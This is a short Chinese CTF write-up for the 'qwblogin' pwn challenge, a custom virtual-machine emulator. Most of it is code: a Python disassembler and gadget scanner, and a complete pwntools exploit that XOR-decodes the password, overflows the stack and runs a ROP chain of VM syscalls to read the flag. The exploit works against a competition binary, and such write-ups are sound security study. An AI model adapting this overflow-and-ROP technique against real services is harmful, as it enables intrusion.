[Pwn] qwblogin - cpt.shao xp0int Posted on Aug 28 2020 先简单写写,后面有时间补齐。需要写反汇编器读出pass的逻辑,基本就是通过xor来简单加密,进去主逻辑后会有简单栈溢出,可以控pc。问题就是虚拟机内部的code段和data段是严格分离的,不能直接跳shellcode。但是image内部无用代码可以扫出完整的pop ret和syscall gadget,拼起来可以做rop直接open read write读flag。 反汇编以及扫gadget的脚本: ```python from VM_Disassembler import VM_Disassembler import struct from io import open import re def bytes_to_word(val_bytes): return val_bytes[0] + 0x100 * val_bytes[1] def bytes_to_int(val_bytes): val = 0 for byte_val in val_bytes[::-1]: val *= 0x100 val += byte_val return val def offset_to_addr(offset): vm_start = 0x1190 return offset - vm_start def get_imm(hi, data): if hi == 0x10: return data[0] elif hi == 0x20: return bytes_to_word(data) elif hi == 0x30: return bytes_to_int(data[:4]) elif hi == 0x40: return bytes_to_int(data[:8]) regs = ['r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15', 'rdi', 'rsi', 'rbp', 'rbx', 'rdx', 'rax', 'rcx', 'rsp', 'rip', 'eflags'] def disassembler(addr, data): op_code = data[0] func_code = data[1] & 0xf hi = data[1] & 0xf0 if func_code in [0, 0xb, 0xc, 0xe]: instr_len = 4 elif func_code in [1, 2, 3, 4]: instr_len = 11 elif func_code == 5: if hi == 16: instr_len = 4 if hi == 32: instr_len = 5 elif hi == 48: instr_len = 7 elif hi == 64: instr_len = 11 elif func_code == 6: instr_len = 3 elif func_code == 7: if hi == 32: instr_len = 4 elif hi == 48: instr_len = 6 elif hi == 64: instr_len = 10 elif hi == 16: instr_len = 3 elif func_code == 8: if op_code == 32: instr_len = 2 else: instr_len = 10 elif func_code == 9: instr_len = 2 elif func_code == 10: instr_len = 2 possible_next_addrs = [addr + instr_len] if op_code == 0: instr_text = "HLT" elif op_code == 1: if func_code == 0: op1 = data[2] op2 = data[3] if op2 == 16: instr_text = "mov r%d, sp" % (op1) else: instr_text = "mov r%d, r%d" % (op1, op2) elif func_code == 1: op1 = data[2] op2 = get_imm(hi, data[3:]) instr_text = "mov r%d, [%#x]" % (op1, op2) elif func_code == 5: op1 = data[2] op2 = get_imm(hi, data[3:]) instr_text = "mov r%d, %#x" % (op1, op2) else: instr_text = "mov" elif op_code == 3: instr_text = "cmp" elif op_code == 0x10: if func_code == 6: op1 = data[2] instr_text = "call r%d" % op1 else: instr_text = "call" elif op_code == 0x13: instr_text = "jr" elif op_code == 0xe: instr_text = "push" elif op_code == 0x20: instr_text = "syscall" elif op_code == 0x12: op1 = data[2] if func_code == 0: op2 = data[3] instr_text = "cmp r%d, r%d" % (op1, op2) elif func_code == 5: op2 = get_imm(hi, data[3:]) instr_text = "cmp r%d, %#x" % (op1, op2) elif op_code == 0x7: op1 = data[2] if func_code == 5: op2 = get_imm(hi, data[3:]) instr_text = "xor r%d, %#x" % (op1, op2) elif func_code == 0: op2 = data[3] instr_text = "xor r%d, r%d" % (op1, op2) elif op_code == 0x14: instr_text = "JE" elif op_code == 0x15: instr_text = "JNE" elif op_code == 0x19: if func_code == 7: op1 = get_imm(hi, data[2:]) instr_text = "JNL %#x" % op1 elif func_code == 8: op1 = get_imm(hi, data[2:]) instr_text = "JNL [%#x]" % op1 else: instr_text = "JNL" elif op_code == 0xd: op1 = data[2] instr_text = "POP r%d" % op1 elif op_code == 0x11: instr_text = "RET" else: instr_text = "NOT IMPL" return instr_len, instr_text, possible_next_addrs def find_pop(): vm_code = open("../test.bin", 'rb').read() for m in re.finditer("\x0d", vm_code): idx = m.start(0) # if idx < 0x29f+0x100: # continue vm_code = list(vm_code) try: vm_code = [ord(c) for c in vm_code] except: pass print "================start %#x=========" % (idx - 0x100) vm_dis = VM_Disassembler(vm_code[idx:], disassembler, 0, 11) try: vm_dis.disassemble() except: pass print "=================end===============" def find_syscall(): vm_code = open("../test.bin", 'rb').read() for m in re.finditer("\x20\x0a", vm_code): idx = m.start(0) # if idx < 0x29f+0x100: # continue vm_code = list(vm_code) try: vm_code = [ord(c) for c in vm_code] except: pass print "================start %#x=========" % (idx - 0x100) vm_dis = VM_Disassembler(vm_code[idx:], disassembler, 0, 11) try: vm_dis.disassemble() except: pass print "=================end===============" def find_store(): vm_code = open("../test.bin", 'rb').read() for m in re.finditer("\x01", vm_code): idx = m.start(0) vm_code = list(vm_code) try: vm_code = [ord(c) for c in vm_code] except: pass func_code = vm_code[idx+1] & 0xf hi = vm_code[idx+1] & 0xf0 if func_code != 2: continue print "================start %#x=========" % (idx - 0x100) vm_dis = VM_Disassembler(vm_code[idx:], disassembler, 0, 11) try: vm_dis.disassemble() except: pass print "=================end===============" def main(): vm_code = open("../test.bin", 'rb').read()[0x100:0x7b8] # vm_code = open("../test.bin", 'rb').read()[0x100:0x7b8] vm_code = list(vm_code) try: vm_code = [ord(c) for c in vm_code] except: pass # we need to write a disassembler(addr, data) that disassembles the data at addr, and return a list of: 1). the length of the current instruction; 2). the disassembly text of the current instruction; 3). the list of possible next addresses # if the current instruction is not a branch, then probably the possible next address is jus the address after this instruction; if it is a branch, then we might have two possible next addresses vm_dis = VM_Disassembler(vm_code, disassembler, 0, 0xe) vm_dis.disassemble() if __name__ == '__main__': # main() find_syscall() # find_store() ``` ```python from pwn import * import re context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' env = {'LD_PRELOAD': ''} if len(sys.argv) == 1: p = process(['./emulator', 'test.bin']) elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) bp_list = [] gdbcmd = "boff 0xf369\n" # set addr variable here to easily access in gdb gdbcmd += "set $C=0x555555768340\n" # set addr variable here to easily access in gdb # 0x555555554000 # set break at gdb by calling this function def bp(addr): global gdbcmd global bp_list bp_list.append(addr) for b in bp_list: if type(b) is str: gdbcmd += "b {}\n".format(b) elif type(b) is int: gdbcmd += "b *{:#x}\n".format(b) se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr)) key1 = [ 0x427234129827abcd, 0x127412341241dead, 0x8634965812abc123, 0x123216781236789a, ] key2 = [ 0x10240740dc179b8a, 0x213a22705e70edfa, 0xa75ae10820d2b377, 0x5d75593f5d7137dd ] ans = "" for i in range(len(key1)): ans += (p64(key1[i] ^ key2[i])) PASS = "QWQ" + ans print PASS sla("password:", PASS) # gdb.attach(p, gdbcmd) pop_r0 = 0x2f5 pop_r1 = 0x377 pop_r2 = 0x45c pop_r3 = 0x4e1 syscall_stack = 0x617 syscall_mem = 0x5b1 syscall_open = 0x6ed # read: r0=1, r1: fd, r2: addr, r3: size # write: r0=2, r1: fd, r2: addr, r3: size # open: r0=0, r1: str_addr, r2: flag: 0 rop = [] # read str rop.append(pop_r0) rop.append(1) rop.append(pop_r1) rop.append(0) rop.append(pop_r2) rop.append(8) rop.append(syscall_mem) # open rop.append(pop_r0) rop.append(0) rop.append(pop_r1) rop.append(8) rop.append(pop_r2) rop.append(0) rop.append(syscall_open) # read rop.append(pop_r0) rop.append(1) rop.append(pop_r1) rop.append(4) rop.append(pop_r2) rop.append(0x100) rop.append(pop_r3) rop.append(0x40) rop.append(syscall_mem) # write rop.append(pop_r0) rop.append(2) rop.append(pop_r1) rop.append(1) rop.append(pop_r2) rop.append(0x100) rop.append(pop_r3) rop.append(0x40) rop.append(syscall_mem) rop = "".join(map(p64, rop)) sla("GOGO!", cyclic(264) + rop) raw_input("go?") se("./flag".ljust(8, "\x00")) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 0x00 题目名称 [强网先锋] Funhash - Donek1
没有帐号? 立即注册